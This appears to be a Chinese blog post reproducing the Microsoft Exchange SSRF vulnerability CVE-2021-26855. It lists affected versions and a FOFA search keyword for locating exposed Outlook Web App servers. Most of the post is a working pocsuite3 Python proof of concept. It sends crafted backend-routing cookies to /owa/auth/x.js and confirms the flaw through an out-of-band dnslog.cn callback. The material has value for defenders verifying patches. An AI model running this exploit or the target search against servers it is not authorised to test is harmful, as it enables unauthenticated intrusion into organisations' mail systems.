Exchange Server SSRF服务端请求伪造漏洞复现(CVE-2021-26855)

人们总高估其一天能做的事情，但总低估其一年能做的事。

0x01 漏洞详情

Microsoft Exchange Server 是个消息与协作系统。Exchange server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统。

未经身份验证的远程攻击者可以通过将特制的HTTP请求发送到易受攻击的Exchange Server来利用此漏洞。为了利用此漏洞，微软表示，易受攻击的Exchange Server将需要能够通过端口443接受不受信任的连接。成功利用此漏洞将使攻击者可以向Exchange Server进行身份验证。

0x02 影响版本

Exchange Server 2013 Exchange Server 2016 Exchange Server 2019

0x03 环境搭建

fofa搜索关键字：title="Outlook Web App"

0x04 漏洞复现

0x05 POC编写

# /usr/bin/env python3
# coding:utf8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import time


class Dnslog:
    def __init__(self) -> None:
        self._get_dns_domain_api = 'http://dnslog.cn/getdomain.php'  # 获取子域名
        self._get_dns_record_api = "http://dnslog.cn/getrecords.php"  # 查询dns解析
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
        }
        self._dns = requests.session()
        self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text
        self.msg = 'test'

    def get_records(self):
        try:
            logger.info("开始尝试获取dns log数据")
            result = self._dns.get(self._get_dns_record_api,
                                   headers=self._headers).text

            if self.msg in result:
                return True
            else:
                return False

        except Exception as e:
            logger.info(f"获取dns log数据失败，请重试，错误{e}")


class TestPOC(POCBase):
    vulID = 'Hunter-0x07'
    version = 'v1'
    author = ['Hunter-0x07']
    vulDate = '2021-03-08'
    createDate = '2021-03-08'
    updateDate = '2020-03-08'
    references = ['']
    name = 'Exchange Server SSRF漏洞'
    appPowerLink = ''
    appName = 'Exchange Server'
    appVersion = '''Exchange Server 2016,2019,2013'''
    vulType = 'SSRF'
    desc = ''''''

    def _verify(self):
        result = {}
        self._dnslog = Dnslog()
        self._dns_subdomain = f"{self._dnslog.msg}.{self._dnslog.dnssubdomain}"

        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
            'Cookie': f'X-AnonResource=true; X-AnonResource-Backend={self._dns_subdomain}/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;',
        }

        self.url = self.url.strip("/")
        self.vuln_url = self.url + '/owa/auth/x.js'

        self._send_poc()

        # 休眠5秒等待dns log出结果
        time.sleep(5)

        try:
            if self._dnslog.get_records():
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                logger.info("存在漏洞")

        except Exception as e:
            logger.error("未获取到dns log信息，请重试")

        return self.parse_output(result)

    def _send_poc(self):
        logger.info("验证是否存在漏洞.....")

        try:
            res = requests.get(url=self.vuln_url, headers=self._headers, verify=False)
            logger.info(res.status_code)

        except Exception as e:
            logger.error(f"POC发送失败，请重试，错误{e}")

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

0x06 POC复现

存在漏洞，如图所示：

不存在漏洞，如图所示：

0x07 参考链接

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855